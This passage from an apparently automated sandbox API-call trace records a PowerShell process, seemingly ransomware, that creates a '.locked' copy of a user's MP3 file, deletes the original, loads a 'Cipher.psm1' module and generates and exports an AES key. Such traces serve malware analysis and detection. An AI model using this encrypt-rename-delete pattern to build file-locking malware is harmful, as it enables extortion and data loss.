lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3\\", lpFilePart=0x0) returned 0x25 [0134.853] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.853] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.853] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.853] CoTaskMemFree (pv=0x8eb8930) [0134.854] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0134.854] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.854] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a9540c | out: lpFileInformation=0x6a9540c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cbe5b0, ftCreationTime.dwHighDateTime=0x1d4ad6e, ftLastAccessTime.dwLowDateTime=0xd4e4e5d0, ftLastAccessTime.dwHighDateTime=0x1d4a947, ftLastWriteTime.dwLowDateTime=0xd4e4e5d0, ftLastWriteTime.dwHighDateTime=0x1d4a947, nFileSizeHigh=0x0, nFileSizeLow=0x8412)) returned 1 [0134.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.855] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 1 [0134.856] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.856] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.856] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.856] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.856] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.857] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3.locked")) returned 0x20 [0134.858] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3.locked")) returned 0x20 [0134.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", lpFilePart=0x0) returned 0x2b [0134.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", lpFilePart=0x0) returned 0x2b [0134.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.858] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.858] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.858] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.859] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.859] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.859] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.859] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.860] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.860] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.861] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.861] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.861] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.862] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.862] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.862] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.863] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.863] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.863] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aa2bd8 | out: lpFileInformation=0x6aa2bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13997088, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13997088, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x139be59f, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8434)) returned 1 [0134.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.865] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", lpFilePart=0x0) returned 0x2b [0134.865] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.866] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.866] CloseHandle (hObject=0x858) returned 1 [0134.867] GetConsoleOutputCP () returned 0x1b5 [0134.867] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.867] GetConsoleOutputCP () returned 0x1b5 [0134.867] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.867] GetConsoleOutputCP () returned 0x1b5 [0134.868] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.868] GetConsoleOutputCP () returned 0x1b5 [0134.868] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.868] GetConsoleOutputCP () returned 0x1b5 [0134.868] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.868] GetConsoleOutputCP () returned 0x1b5 [0134.869] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.869] GetConsoleOutputCP () returned 0x1b5 [0134.869] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.869] GetConsoleOutputCP () returned 0x1b5 [0134.869] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.870] GetConsoleOutputCP () returned 0x1b5 [0134.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.870] GetConsoleOutputCP () returned 0x1b5 [0134.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.870] GetConsoleOutputCP () returned 0x1b5 [0134.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.870] GetConsoleOutputCP () returned 0x1b5 [0134.871] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.871] GetConsoleOutputCP () returned 0x1b5 [0134.871] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.871] GetConsoleOutputCP () returned 0x1b5 [0134.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.872] GetConsoleOutputCP () returned 0x1b5 [0134.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.872] GetConsoleOutputCP () returned 0x1b5 [0134.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.872] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.873] GetConsoleOutputCP () returned 0x1b5 [0134.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.873] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.873] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac95e8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ac95e8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.874] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.874] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.880] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.880] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.881] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.881] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.882] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.883] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0134.883] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849b8) returned 1 [0134.883] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.883] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.883] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ad2f40, pdwDataLen=0x99ae894 | out: pbData=0x6ad2f40*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.883] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x2ed0\x6ad\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0134.883] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.883] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 